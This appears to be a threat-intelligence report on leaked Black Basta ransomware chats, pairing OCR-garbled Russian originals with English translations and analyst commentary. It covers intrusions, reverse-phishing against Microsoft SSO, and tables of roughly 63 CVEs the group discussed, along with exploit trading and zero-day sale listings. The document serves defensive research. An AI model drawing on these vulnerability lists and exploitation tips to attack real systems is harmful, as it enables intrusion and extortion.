some shit installed that doesn't let us download is this

happening right now?

[omitted]

2024-05-21 08:07:38,
@usernamegg:matrix.bestflowers247.online, we
infected

2024-05-21 08:07:40,
@usernamegg:matrix.bestflowers247.online, found
the target

2024-05-21 08:07:51,
@usernamegg:matrix.bestflowers247.online, or
somehow magically brute forced the VPN
2024-05-21 08:07:55,
@usernamegg:matrix.bestflowers247.online,
connected

Original Text

2024-05-21 08:04:57,
@usernamegg:matrix.bestflowers247.online, Ham
HY>XHO MepecMOTPeTb OTAEN BblKayuku dpannos
2024-05-21 08:05:12,
@usernamegg:matrix.bestflowers247.online, Tbl ero
[OJIKEH BO3MNaBUTb

2024-05-21 08:05:25,
@usernameyy:matrix.bestflowers247.online, Hy Toraa
s 6ysy aBTOMaTU3MpPOBaTh 3TO AeN0

2024-05-21 08:05:29,
@usernamegg:matrix.bestflowers247.online, n npsam
BCE CWJbl BPOCUTL Ha MOCTOSHHYHO BbiKauky Gpannos c
ceToK

2024-05-21 08:05:35,
@usernamegg:matrix.bestflowers247.online, ckopo
KayaTb BOOOLLE HaM He JajyT HAYero

2024-05-21 08:05:41,
@usernamegg:matrix.bestflowers247.online, Bce
6onbLue 1 6onblue npobaem ¢ 3TM

[omitted]

2024-05-21 08:06:37,
@usernamegg:matrix.bestflowers247.online, Tam
CTOMWT Kakas TO XyWHs KOTopas He JaeT KayaTb
2024-05-21 08:07:00,
@usernamegg:matrix.bestflowers247.online, ntobble
cepBepa,npoKIajKn,JOMEHbI 1 BCE YTO HEOBXOAMMO
6bicTpo caenaro CC + TT

2024-05-21 08:07:13,
@usernameyy:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> Tam
CTOWT Kakas TO XyMHSA KOTopas He AaeT KayaTb 3TO
NpPsSMO certyac NPONCXOANT?

[omitted]

2024-05-21 08:07:38,
@usernamegg:matrix.bestflowers247.online, mbl
3apa3uau

2024-05-21 08:07:40,
@usernamegg:matrix.bestflowers247.online, Hawnwn
Tapret

2024-05-21 08:07:51,
@usernamegg:matrix.bestflowers247.online, nnbo
COPYTMAN KaKUM TO BOALEBHBIM 0H6pa3om BMH
2024-05-21 08:07:55,
@usernamegg:matrix.bestflowers247.online,
NOAKAOYMANCD
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[omitted]

2024-05-21 08:08:40,
@usernamegg:matrix.bestflowers247.online, but
there's some crap on all the machines against ransom
that doesn't let us download

[omitted]

2024-05-21 08:08:40,
@usernamegg:matrix.bestflowers247.online, Ho Tam
Ha BCeX Taukax OT paHCOMa CTOUT Kakas TO XepHs
KOTOpas He JaeT KayaTb

The conversation reveals that despite successful infection and connection to targets, unknown defense

mechanisms resembling anti-ransomware measures across all machines blocked downloads. This example

demonstrates how technical and environmental factors can impede post-intrusion data acquisition, suggesting
Black Basta's tactical shift toward organizational structure and automation infrastructure.

Preparation of Reverse Phishing Attacks and Team Sharing

Translated

2024-05-16 08:59:47,
@usernamegg:matrix.bestflowers247.online, this is
priority

2024-05-16 08:59:50,
@usernameyy:matrix.bestflowers247.online, good,
I'm reading

2024-05-16 09:00:25,
@usernamegg:matrix.bestflowers247.online, ™
[pending] : 2024-05-15

[16:51:55] AA: hey

[16:51:57] AA: ?

[16:55:49] _: hello, here

[16:55:58] _: about reverse phish microsoft
[16:56:29] _: keep in mind that for it to work we'll
have to set up about 25 domains

[16:56:51] AA: hello

[16:56:53] AA: yes

[16:56:56] AA: why so many?

[16:57:08] AA: do you intercept cookies?
[16:57:12] AA: will you set everything up?

<Original Text Omitted: Domain List>

[16:57:28] _: here's the list of domains we need to
spoof

<Original Text Omitted >

[16:59:05] _: need drop domains

[16:59:25] AA: is there someone who sells them?
[16:59:30] _: yes

[16:59:37] AA: can you buy them yourself?
[16:59:40] AA: I'll add $

[16:59:51] AA: I'd like to test it in general

Original Text

2024-05-16 08:59:47,
@usernamegg:matrix.bestflowers247.online, ato
npvoputeTt

2024-05-16 08:59:50,
@usernameyy:matrix.bestflowers247.online, xopoLwuo, s
ynTaro

2024-05-16 09:00:25,
@usernamegg:matrix.bestflowers247.online, ™
[pending] : 2024-05-15

[16:51:55] AA: ky

[16:51:57] AA:?

[16:55:49] _: npwuBeT, TyT

[16:55:58] _: npo peBepc ¢u markpocodT
[16:56:29] _: umel BBMAY YTO AN ero paboTbl
NpPUAETCA NOCTaBUTb OKOAO 25 AoMeHOB
[16:56:51] AA: npuBeT

[16:56:53] AA: pa

[16:56:56] AA: nouemy Tak MHOro?

[16:57:08] AA: y Tebsi naeT nepexsat Kykun?
[16:57:12] AA: Tbl BCe HacTpouLLb?

<Original Text Omitted: Domain List>

[16:57:28] _: BOT CNNCOK T€X JOMEHOB KOTOPbIE HaM
HaJ0 NOAMEHUTb

<Original Text Omitted>

[16:59:05] _: Hy>XHbI 4pOn JOMEHbI
[16:59:25] AA: ecTb KTO Npogaet?

[16:59:30] _: aa

[16:59:37] AA: cMOXKellb KynuTb cam?
[16:59:40] AA: 7 gokunHy $

[16:59:51] AA: MHe onpoboBaTb Obl BOObLLE
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[16:59:51] _: okay

[16:59:55] AA: whether the topic will work
[17:00:10] _: btc¥hmr?

[17:00:34] AA: if | can intercept their cookies and
immediately get into their Microsoft Security SSO
[17:00:39] AA: there will be many opportunities
[17:00:46] AA: btc

[17:00:59] _: <Masked: Cryptocurrency Wallet>
<Original Text omitted: conversation about attack
preparation>

2024-05-16 09:00:30,
@usernamegg:matrix.bestflowers247.online, here's
the log with the panel author

2024-05-16 09:00:40,
@usernamegg:matrix.bestflowers247.online, also
reread it

2024-05-16 09:03:12,
@usernamegg:matrix.bestflowers247.online, this
reverse shell is some kind of complex system beyond
my brains

2024-05-16 09:03:18,
@usernamegg:matrix.bestflowers247.online, will you
come today?

2024-05-16 09:03:32,
@usernameyy:matrix.bestflowers247.online,
apparently | have to, though | wasn't planning to)
2024-05-16 09:03:45,
@usernameyy:matrix.bestflowers247.online, leave
now?

2024-05-16 09:03:51,
@usernamegg:matrix.bestflowers247.online, yes
2024-05-16 09:03:54,
@usernameyy:matrix.bestflowers247.online, ok

[16:59:51] _: okewn

[16:59:55] AA: byzet Tema paboTaTtb

[17:00:10] _: 6Tk¥xmp?

[17:00:34] AA: ecnm a8 CMOTY KyKW Y HUX NepexBaTbiBaTh
W cpa3y 3asneTatb K HUM B SSO Microsoft Security
[17:00:39] AA: ByseT MHOTO BO3MOXXHOCTEM

[17:00:46] AA: 6Tx

[17:00:59] _: <Masked: Cryptocurrency Wallet>
<Original Text omitted: conversation about attack
preparation>

2024-05-16 09:00:30,
@usernamegg:matrix.bestflowers247.online, BoT snor ¢
aBTOPOM MaHenu

2024-05-16 09:00:40,
@usernamegg:matrix.bestflowers247.online, Toxe
nepeyntamn

2024-05-16 09:03:12,
@usernamegg:matrix.bestflowers247.online, atot
peBepc e CI0XHasA Kakas To cucrema
HernoACuAbHas MOUM MO3ram

2024-05-16 09:03:18,
@usernamegg:matrix.bestflowers247.online, Tbi
npueseLlb CerogHs?

2024-05-16 09:03:32,
@usernameyy:matrix.bestflowers247.online, Bnavmo
y>e Hazo, a BoobLLe He naaHnpoBan)

2024-05-16 09:03:45,
@usernameyy:matrix.bestflowers247.online, BbiexaTb
wac?’

2024-05-16 09:03:51,
@usernamegg:matrix.bestflowers247.online, ga
2024-05-16 09:03:54,
@usernameyy:matrix.bestflowers247.online, ok

This conversation involves tactical exchanges regarding advanced phishing reverse configurations targeting

Microsoft account SSO (Single Sign-On) breaches. gg declares this a “priority," mentioning reverse shell technical

complexity while requesting overall design verification and construction assistance from yy. Logs include

conversations with panel creators, specifically planning preparation of 25+ domains, cookie interception, drop

infrastructure, and BTC payments. This represents multi-stage attack methodologies using Microsoft domain

impersonation plus direct session hijacking attempts bypassing security controls.
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Conversation on Issues Encountered during the Attack

Translated

2023-12-20 09:28:31,
@usernamegg:matrix.bestflowers247.online, stop
2023-12-20 09:28:38,
@usernamegg:matrix.bestflowers247.online,
something's wrong

2023-12-20 09:28:40,
@usernamegg:matrix.bestflowers247.online, check (
2023-12-20 09:28:43,
@usernamegg:matrix.bestflowers247.online,
aaaaaaaaah

2023-12-20 09:28:49,
@usernamegg:matrix.bestflowers247.online, how
could this be

[omitted]

2023-12-20 09:28:54,
@w:matrixtcFJHPDbImt2rg.network, machine is
loading

2023-12-20 09:29:50,
@usernamegg:matrix.bestflowers247.online, do you
understand how many deals we made?

2023-12-20 09:29:55,
@usernamegg:matrix.bestflowers247.online, * do you
understand how many deals we made?

2023-12-20 09:30:04,
@usernamegg:matrix.bestflowers247.online, and your
software doesn't connect (

2023-12-20 09:30:07,
@usernamegg:matrix.bestflowers247.online, all into
the void

2023-12-20 09:30:20,
@w:matrixtcFJHPDbImt2rg.network, it connects
2023-12-20 09:30:22,
@w:matrixtcFJHPDbImt2rg.network, just launched it
now

2023-12-20 09:30:37,
@usernamegg:matrix.bestflowers247.online, which
file?

2023-12-20 09:31:24,
@usernamegg:matrix.bestflowers247.online, which
file did you check from Ben or Burrito?

2023-12-20 09:31:37,
@w:matrixtcFJHPDbImt2rg.network, checking from
Ben

2023-12-20 09:31:56,
@w:matrixtcFJHPDbImt2rg.network, bot launched

Original Text

2023-12-20 09:28:31,
@usernamegg:matrix.bestflowers247.online, cton
2023-12-20 09:28:38,
@usernamegg:matrix.bestflowers247.online, uto T0
He TO

2023-12-20 09:28:40,
@usernamegg:matrix.bestflowers247.online,
nposepsn (

2023-12-20 09:28:43,
@usernamegg:matrix.bestflowers247.online,
aaaaaaaaa

2023-12-20 09:28:49,
@usernamegg:matrix.bestflowers247.online, Hy kak
Xe TaK

[omitted]

2023-12-20 09:28:54,
@w:matrixtcFJHPDbImt2rg.network, Tauka rpy3uTbcs
2023-12-20 09:29:50,
@usernamegg:matrix.bestflowers247.online, Tbl
MOHMMaELLb Xe CKOJIbKO AenoB Mbl caenan? FO
2023-12-20 09:29:55,
@usernamegg:matrix.bestflowers247.online, * Tbl
MOHMMaelLLb Xe CKObKO AeN0B Mbl caenan?
2023-12-20 09:30:04,
@usernamegg:matrix.bestflowers247.online, a y Tebs
codT He cTyumT (

2023-12-20 09:30:07,
@usernamegg:matrix.bestflowers247.online, Bce B
nycToTy

2023-12-20 09:30:20,
@w:matrixtcFJHPDbImt2rg.network, cryuunt
2023-12-20 09:30:22,
@w:matrixtcFJHPDbImt2rg.network, BoT wac
3anycTun

2023-12-20 09:30:37,
@usernamegg:matrix.bestflowers247.online, kakoi
bann?

2023-12-20 09:31:24,
@usernamegg:matrix.bestflowers247.online, kakoi
dawn Tel pnosepun oT beHa nan Gyputo?
2023-12-20 09:31:37,
@w:matrixtcFJHPDbImt2rg.network, ot 6eHa
npBoepsto

2023-12-20 09:31:56,
@w:matrixtcFJHPDbImt2rg.network, 60T 3anyeH
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2023-12-20 09:32:06, 2023-12-20 09:32:06,

@w:matrixtcFJHPDbImt2rg.network, and 53 bots @w:matrixtcFJHPDbImt2rg.network, n 53 6ota B cetn
online 2023-12-20 09:32:30,

2023-12-20 09:32:30, @usernamegg:matrix.bestflowers247.online, ceityac js
@usernamegg:matrix.bestflowers247.online, now we'll  nomeHsem

change js 2023-12-20 09:35:56,

2023-12-20 09:35:56, @usernamegg:matrix.bestflowers247.online, Bce
@usernamegg:matrix.bestflowers247.online, noymmpano

everything died

This conversation depicts real-time response to critical technical failures during attack operations. gg detects
signal transmission failure in bot-related operations and immediately commands "stop." While expressing anger
and agitation about work invalidation responsibility, w reports bot activation and online status. However, after JS
code modifications, gg ultimately reports "everything died," confirming all bot stoppage or failure. Confusion
evident in file re-verification, along with teamwork recognition misalignment and technical reliability deficiency,
reveals operational failure causes. This represents a significant failure case indicating fatal flaws in preparation,
coordination, or execution.
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I 5. Technical Deep Dive

While various analytical reports provide insights into ransomware groups' technical capabilities, these typically
focus on individual incident methodologies. Comprehensively assessing specific ransomware organizations'
overall technical proficiency without internal information remains challenging.

The leaked chat logs contained diverse information revealing Black Basta's technical capabilities. This chapter
examines seven key areas:

Sensitivity to exploitable vulnerabilities and rapid adoption cycles

Malware utilization for efficient information gathering and operational activities
Security product evasion efforts for maintaining long-term environmental presence
Advanced phishing tactics

Custom tool development by Black Basta

Active integration of generative Al in operations

No wuA W=

Exploitation of various online tools for operational purposes

These findings indicate Black Basta demonstrates high overall technical proficiency. Defending against such

sophisticated groups requires countermeasures capable of withstanding complex tactics.
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|5.1 Vulnerability Exploitation in Practice

Overall Trends

Attackers often exploit vulnerabilities as initial entry vectors into target enterprises and post-intrusion attack
methods. The chat logs confirm Black Basta frequently discussed exploitable vulnerabilities, with references to at
least 63 vulnerabilities. These vulnerabilities span diverse products rather than specific ones, with particular focus
on high-severity vulnerabilities such as Remote Code Execution (RCE) and privilege escalation. The following
presents vulnerability lists organized by product.

Citrix (Network Equipment / Load Balancer)

CVE ID Published on Function Type of Vulnerability CVSS ‘

CVE-2023-4966 2023/10/10 Application Delivery Controller (ADC) Information Disclosure 94
CVE-2023-3519 2023/7/18 Application Delivery Controller (ADC) RCE 9.8
CVE-2023-3467 2023/7/19 Application Delivery Controller (ADC) Privilege Escalation 8
CVE-2023-3466 2023/7/19 Application Delivery Controller (ADC) Reflected XSS 8.3

*) CVSS reflects CNA score

Jenkins (Software Development Support Tools)

CVEID Published on Function Type of Vulnerability
CVE-2024-23897 | 2024/1/24 Cl/CD Information Disclosure 9.8

*) CVSS reflects NIST score

JetBrains (Software Development Support Tools)

CVE ID Published on Function Type of Vulnerability CVSS
CVE-2023-42793 | 2023/9/19 Cl/CD RCE 9.8
CVE-2024-27198 | 2024/3/4 Cl/CD Authentication Bypass 9.8

*) CVSS reflects CNA score

CPU (Central Processing Unit)

CVE ID Published on Function Type of Vulnerability CVSS ‘

CVE-2017-5715 2018/1/3 CPU Optimization Side-Channel Attack 5.6
CVE-2017-5754 2018/1/3 CPU Optimization Side-Channel Attack 5.6
CVE-2017-5753 2018/1/3 CPU Optimization Side-Channel Attack 5.6

*) CVSS reflects NIST score

Linux (Operating System)

CVEID Published on Function Type of Vulnerability
CVE-2024-1086 2024/1/31 (N Privilege Escalation 7.8

*) CVSS reflects CNA score
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Microsoft (Operating System, Office Applications)

CVE ID Published on Function Type of Vulnerability CVSS
CVE-2024-26169 | 2024/3/12 oS Privilege Escalation 7.8
CVE-2024-21338 | 2024/2/13 0S Privilege Escalation 7.8
CVE-2023-36884 | 2023/7/11 0sS RCE 7.5
CVE-2023-36874 | 2023/7/11 0s Privilege Escalation 7.8
CVE-2023-36394 | 2023/11/14 (oS Privilege Escalation 7
CVE-2023-35628 | 2023/12/12 (ON RCE 8.1
CVE-2022-37969 | 2022/9/13 [N Privilege Escalation 7.8
CVE-2022-30190 | 2022/5/30 0sS RCE 7.8
CVE-2021-42287 | 2021/11/9 (oS Privilege Escalation 7.5
CVE-2021-42278 | 2021/11/9 0S Privilege Escalation 7.5
CVE-2021-40444 | 2021/9/7 0sS RCE 8.8
CVE-2020-1472 2020/8/11 0s Privilege Escalation 5.5
CVE-2023-21716 | 2023/2/14 Word RCE 9.8
CVE-2017-11882 | 2017/11/14 Equation Editor RCE 7.8
CVE-2023-29357 | 2023/6/13 SharePoint Privilege Escalation 9.8
CVE-2023-23397 | 2023/3/14 Outlook Privilege Escalation 9.8
CVE-2024-21413 | 2024/2/13 Outlook RCE 9.8
CVE-2024-21378 | 2024/2/13 Outlook RCE 8.8
CVE-2023-36745 | 2023/9/12 Exchange Server RCE 8
CVE-2022-41082 | 2022/9/30 Exchange Server RCE 8
CVE-2022-41040 | 2022/9/30 Exchange Server Server-Side Request Forgery 8.8
CVE-2021-42321 | 2021/11/9 Exchange Server RCE 8.8
CVE-2021-28482 | 2021/4/13 Exchange Server RCE 8.8
CVE-2021-26855 | 2021/3/2 Exchange Server Server-Side Request Forgery 9.8

*) CVSS reflects CNA score. However, CVE-2017-11882 and CVE-2021-26855 reflect NIST scores.
Fortinet (Network Security Equipment)

CVE ID Published on Function Type of Vulnerability CVSS
CVE-2024-23108 | 2023/10/10 SIEM RCE 10
CVE-2024-23109 | 2023/10/10 SIEM RCE 10
CVE-2024-21762 | 2024/2/8 SIEM RCE 9.8
CVE-2024-23113 | 2024/2/8 VPN RCE 9.8

*) CVSS reflects CNA score

Check Point (Network Security Equipment)

CVEID

Published on

Function

Type of Vulnerability

CVE-2024-24919

2024/5/28

VPN

Information Disclosure

8.6

*) CVSS reflects CNA score
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Google Chrome (Web Browser)

CVEID
CVE-2022-0609

Published on
2022/2/16

Function

Web Browser

Type of Vulnerability

Use-After-Free

8.8

*) CVSS reflects NIST score

WordPress (Contents Management System)

CVE ID

Published on

Function

Type of Vulnerability

CVE-2024-25600 | 2024/2/13 WordPress Theme RCE 10
CVE-2023-7027 2024/1/3 WordPress Stored XSS 7.2
CVE-2023-6875 2024/1/11 WordPress Plug-in API Key Reset 9.8

*) CVSS reflects NIST score

RarLab (File Compressor)

CVEID

Published on

Function

CVE-2023-38831

2023/8/23

File Compression Software

Type of Vulnerability

Arbitrary Code Execution

7.8

*) CVSS reflects NIST score

Spring Framework (Development Platform)

CVEID

Published on

Function

Type of Vulnerability

CVE-2022-22965

2022/4/1

Development Platform

RCE

9.8

*) CVSS reflects NIST score

GitLab (Source Code Management)

CVEID Published on Function Type of Vulnerability

CVE-2022-22965 | 2022/4/1 Source Code Management RCE 9.8
*) CVSS reflects CNA score
Atlassian Confluence (Documents Sharing Platform)

CVE ID Published on Function Type of Vulnerability CVSS
CVE-2024-21683 | 2024/5/21 Document creation / management tools RCE 8.8
CVE-2023-22515 | 2023/10/04 Document creation / management tools Broken Access Control 10
CVE-2022-26134 | 2022/6/2 Document creation / management tools RCE 9.8

*) CVSS reflects CNA score. However, CVE-2022-26134 reflect NIST values.

Zyxel (Network Security Equipment)

CVEID

Published on

Function

CVE-2022-30525

2022/5/12

Firewall

Type of Vulnerability

RCE

9.8

*) CVSS reflects CNA score
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Juniper OS (Network Security Equipment)

CVEID Published on Function Type of Vulnerability CVSS
CVE-2023-36845 | 2023/8/17 Firewall RCE 9.8
CVE-2023-36844 | 2023/8/17 Firewall Data Tampering 5.3

*) CVSS reflects CNA score

Palo Alto Networks Pan-OS (Network Security Equipment)

CVEID

Published on

Function

CVE-2024-3400

2024/4/12

Firewall

Type of Vulnerability

RCE

10

*) CVSS reflects CNA score

Zimbra (Collaboration Platform)

CVEID Published on Function Type of Vulnerability
CVE-2022-41352 | 2022/9/25 E-mail / Groupware RCE 9.8
CVE-2022-37042 | 2022/8/12 E-mail / Groupware Authentication Bypass 9.8
CVE-2022-27925 | 2022/4/20 E-mail / Groupware Directory Traversal 7.2

*) CVSS reflects NIST score

Exim (E-mail Transfer Agent)

CVEID

Published on

Function

CVE-2023-42115

2023/9/27

E-mail Transfer Agent

Type of Vulnerability

RCE

9.8

*) CVSS reflects CNA score

Apache Log4j2 (Application Library)

CVEID

Published on

Function

CVE-2021-44228

2021/12/9

Logging Framework

Type of Vulnerability

RCE

10

*) CVSS reflects NIST score

ConnectWise (Integrated Management Platform)

CVE ID Published on Function Type of Vulnerability
CVE-2024-1709 2024/2/21 Remote Desktop Authentication Bypass 10
CVE-2024-1708 2024/2/21 Remote Desktop Path Traversal 8.4

*) CVSS reflects CNA score

Cisco (Network Security Equipment)

CVE ID
CVE-2023-20198

Published on
2023/10/16

Function

Management Interface

Type of Vulnerability

Privilege Escalation

10

*) CVSS reflects CNA score
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F5 Big-IP (Network Security Equipment)

CVEID Published on

CVE-2022-1388 2022/5/4 Management Interface

Function

Type of Vulnerability

Authentication Bypass 10

*) CVSS reflects CNA score

The following excerpts show the chat logs discussing exploitable vulnerabilities. For example, members exchange
knowledge about utilizing code that exploits CVE-2024-3400 published on forums and executable files that

exploit CVE-2023-36874.

Conversation on CVE-2024-3400

Translated

2024-04-15 13:02:11,
@usernamegg:matrix.bestflowers247.online, CVE-
2024-3400.py

[omitted]

2024-04-15 13:05:45,
@lapa:matrix.bestflowers247.online, like xml with
exploit element

2024-04-15 13:06:05,
@lapa:matrix.bestflowers247.online, this isn't a
purchased exploit?

2024-04-15 13:06:09,
@lapa:matrix.bestflowers247.online, you just found it
somewhere?

2024-04-15 13:06:18,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> this isn't a
purchased exploit? no, | found a public one
2024-04-15 13:06:25,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> you just found
it somewhere? on a forum yes

Original Text

2024-04-15 13:02:11,
@usernamegg:matrix.bestflowers247.online, CVE-
2024-3400.py

[omitted]

2024-04-15 13:05:45,
@lapa:matrix.bestflowers247.online, Tvn xml ¢
anemeHTOM exploit

2024-04-15 13:06:05,
@lapa:matrix.bestflowers247.online, 370 >e He
MOKYMHOW 3KCNA0MNT?

2024-04-15 13:06:09,
@lapa:matrix.bestflowers247.online, Bbl rae-to
NPOCTO HawwAn?

2024-04-15 13:06:18,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> 310 Xe He
MOKYMHOWN 3KCNIOUT? HET , NabanK A Hawen
2024-04-15 13:06:25,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> Bbl rae-To
NPOCTO HawAn? Ha popyme aa
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Conversation on CVE-2023-36874

Translated

2023-11-10 14:34:55,
@usernameyy:matrix.bestflowers247.online,
WER_Research_07062023.exe

2023-11-10 14:34:58,
@usernamenn:matrix.bestflowers247.online,
https://www.juniper.net/documentation/us/en/softwa
re/junos/vpn-ipsec/topics/concept/juniper-secure-
connect-overview.html

2023-11-10 14:35:14,
@usernameyy:matrix.bestflowers247.online, need to
embed some command there, it doesn't work for me
by the way, only escalates from admin to system, but
that's useless

2023-11-10 14:35:25,
@usernamenn:matrix.bestflowers247.online,
https://habr.com/ru/articles/230087/

2023-11-10 14:35:59, @usernamenn:matrix.bestflower
247.online, >
<@usernameyy:matrix.bestflowers247.online> need
to embed some command there, it doesn't work for
me by the way, only escalates from admin to system,
but that's useless do you have Medium Integrity?
2023-11-10 14:36:07,
@usernamenn:matrix.bestflowers247.online, it only
works from Medium

2023-11-10 14:36:16,
@usernamenn:matrix.bestflowers247.online, well
maybe you have Low | don't know how you
configured it there

2023-11-10 14:36:20,
@usernameyy:matrix.bestflowers247.online, what
does that mean?

2023-11-10 14:36:26,
@usernamenn:matrix.bestflowers247.online, it's the
level

2023-11-10 14:36:38,
@usernameyy:matrix.bestflowers247.online, logically,
that's literally what it says

2023-11-10 14:36:42,
@usernameyy:matrix.bestflowers247.online, doesn't
work from user

2023-11-10 14:37:06,
@usernamenn:matrix.bestflowers247.online,
understood

2023-11-10 14:38:23,

Original Text

2023-11-10 14:34:55,
@usernameyy:matrix.bestflowers247.online,
WER_Research_07062023.exe

2023-11-10 14:34:58,
@usernamenn:matrix.bestflowers247.online,
https://www.juniper.net/documentation/us/en/softwa
re/junos/vpn-ipsec/topics/concept/juniper-secure-
connect-overview.html

2023-11-10 14:35:14,
@usernameyy:matrix.bestflowers247.online, Hago
KOMaHZy TyAa BLUMBATb KaKyto HNOYAb, Y MEHS He
paboTaeT KCTaTh, TONIbKO OT aAMWHa MOBbILIAETCS A0
CUCTeMbI, HO 3TO HecrnonesHo

2023-11-10 14:35:25,
@usernamenn:matrix.bestflowers247.online,
https://habr.com/ru/articles/230087/

2023-11-10 14:35:59,
@usernamenn:matrix.bestflowers247.online, >
<@usernameyy:matrix.bestflowers247.online> Hago
KOMaHZy TyAa BLUMBATb KaKyto HNOYAb, Y MEHS He
paboTaeT KCTaTh, TONbKO OT aAMWHa MOBbILIAETCS A0
cucTeMbl, HO 3To BecrnonesHo a y Tebsa Medium
Integrity?

2023-11-10 14:36:07,
@usernamenn:matrix.bestflowers247.online, oHo
paboTaet Toabko 13 Medium

2023-11-10 14:36:16,
@usernamenn:matrix.bestflowers247.online, Hy mano
nny Tebs Low s Xyl 3HaeT KaK Tbl TaM HaCcTPOwWA
2023-11-10 14:36:20,
@usernameyy:matrix.bestflowers247.online, uto 310
3HauuUT?

2023-11-10 14:36:26,
@usernamenn:matrix.bestflowers247.online, 3To
ypOBeHb

2023-11-10 14:36:38,
@usernameyy:matrix.bestflowers247.online, nornuytHo,
Tam ByKBa/sbHO Tak 1 HaMMcaHo

2023-11-10 14:36:42,
@usernameyy:matrix.bestflowers247.online, ot ro3epa
He paboTaeT

2023-11-10 14:37:06,
@usernamenn:matrix.bestflowers247.online, noHsn
2023-11-10 14:38:23,
@usernamegg:matrix.bestflowers247.online, >
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@usernamegg:matrix.bestflowers247.online, > <@usernameyy:matrix.bestflowers247.online> sent a
file. CVE-2023-36874
2023-11-10 14:38:31,

@usernamegg:matrix.bestflowers247.online,

<@usernameyy:matrix.bestflowers247.online> sent a
file. CVE-2023-36874

2023-11-10 14:38:31,
@usernamegg:matrix.bestflowers247.online, save it COXpaHuUTL cebe
2023-11-10 14:39:52,

@usernamenn:matrix.bestflowers247.online, Don't run

for yourself

2023-11-10 14:39:52,
@usernamenn:matrix.bestflowers247.online, Don't run
the exploit from local admin group or any

the exploit from local admin group or any
administrator account. That won't work!
administrator account. That won't work!

The following conversation discusses Outlook zero-day vulnerabilities without mentioning specific CVE numbers.
The exchange content reveals intentions to exploit opportunities when available.

Conversation on an Outlook Zero-Day Vulnerability

Translated

2024-02-23 14:15:13,
@usernamegg:matrix.bestflowers247.online,
Microsoft Outlook Remote Code Execution Oday
Exploit - zero-click exploit leading to remote code
execution when receiving/downloading emails in
Outlook, without requiring any user interaction such
as reading the malicious email message or opening
an attachmen Tested Microsoft Outlook Version: 2021
and previous Windows 11 /10/7

2024-02-23 14:15:28,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> why do | need
it? so we always have fresh ones

2024-02-23 14:15:36,
@usernamegg:matrix.bestflowers247.online, in case
there's an exploit for them

2024-02-23 14:20:59,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
Microsoft Outlook Remote Code Execution Oday
Exploit - zero-click exploit leading to remote code
execution when receiving/downloading emails in
Outlook, without requiring any user interaction such
as reading the malicious email message or opening
an attachmen > Tested Microsoft Outlook Version:
2021 and previous Windows 11 /10 / 7 is this another
one?

2024-02-23 14:45:14,
@lapa:matrix.bestflowers247.online, | mean is this a

Original Text

2024-02-23 14:15:13,
@usernamegg:matrix.bestflowers247.online,
Microsoft Outlook Remote Code Execution Oday
Exploit - zero-click exploit leading to remote code
execution when receiving/downloading emails in
Outlook, without requiring any user interaction such
as reading the malicious email message or opening
an attachmen Tested Microsoft Outlook Version: 2021
and previous Windows 11 /10/7

2024-02-23 14:15:28,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> a MHe 3auem?
y Hac uTo 6bl cBEXbIN Obl BCeraa

2024-02-23 14:15:36,
@usernamegg:matrix.bestflowers247.online, Bapyr
3KCNNOUT ByAeT Nog HUX

2024-02-23 14:20:59,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
Microsoft Outlook Remote Code Execution Oday
Exploit - zero-click exploit leading to remote code
execution when receiving/downloading emails in
Outlook, without requiring any user interaction such
as reading the malicious email message or opening
an attachmen > Tested Microsoft Outlook Version:
2021 and previous Windows 11 /10 / 7 a 370 eLue
Kakon-to?
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different exploit 2024-02-23 14:45:14,

2024-02-23 14:46:00, @lapa:matrix.bestflowers247.online, B cmbicne 310
@usernamegg:matrix.bestflowers247.online, this is APYrov 3KCMAOUT eCcTb

the one that was in the video 2024-02-23 14:46:00,

2024-02-23 14:46:02, @usernamegg:matrix.bestflowers247.online, 3ToT TOT
@usernamegg:matrix.bestflowers247.online, as | UTO Ha BMAEO 6bin

understand it 2024-02-23 14:46:02,

@usernamegg:matrix.bestflowers247.online, kak s
MOHAN
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Purchases of Zero-Day Vulnerabilities and Exploits

The chat logs show purchasing exploit information serves as one method. Black Basta searches for exploitable

vulnerabilities using not only public vulnerability data but also non-public sources.

Conversation Suggesting Exploit Purchase

Translated

2023-11-10 14:30:46,
@usernamegg:matrix.bestflowers247.online, there's
also for sale from this guy Oday Juniper SRX Firewall
Unauthenticated RCE

2023-11-10 14:30:54,
@usernamegg:matrix.bestflowers247.online, I'll scan
the world now

2023-11-10 14:31:01,
@usernamegg:matrix.bestflowers247.online, let's see
how many are exposed

2023-11-10 14:31:20,
@usernamegg:matrix.bestflowers247.online, Juniper
SRX Firewall Unauthenticated RCE - Tested on: vSRX
V3 22.4R1, vSRX V2 22.4R1

Original Text

2023-11-10 14:30:46,
@usernamegg:matrix.bestflowers247.online, ectb ewwe
B npogexe y 3toro yesa 0day Juniper SRX Firewall
Unauthenticated RCE

2023-11-10 14:30:54,
@usernamegg:matrix.bestflowers247.online, cenyac
NpOoCKaHo MUp

2023-11-10 14:31:01,
@usernamegg:matrix.bestflowers247.online,
MOCMOTPWM CKOJIbKO €CTb MX TOpYaLL MK

2023-11-10 14:31:20,
@usernamegg:matrix.bestflowers247.online, Juniper
SRX Firewall Unauthenticated RCE - Tested on: vSRX
V3 22.4R1, vSRX V2 22.4R1

Statements on the Trade of Zero-Day and Exploit Information

Translated

[17:14:00] zdays:

1. Today's date 2023/4/15
2. Iltem name Windows LPE

3. Asking price and availability of exclusive acquisition

exclusive
4. Affected OS Windows
5. Vulnerable target application versions and
reliability. If 32 bit only, is 64 bit vulnerable? List
complete point release range

yes, the exploit supports x32 and x64
6. Tested, functional against target application
versions, list complete point release range. Explain
tested on versions

Windows 11 22H2

Windows 11 21H2

Windows 10 21H2

Windows 10 21H1

Windows 10 20H1

Windows 10 19H2

Windows 10 19H1

Windows 10 1803

Original Text
[17:14:00] zdays:
1. Today's date 2023/4/15
2. Item name Windows LPE
3. Asking price and availability of exclusive acquisition
exclusive
4. Affected OS Windows
5. Vulnerable target application versions and
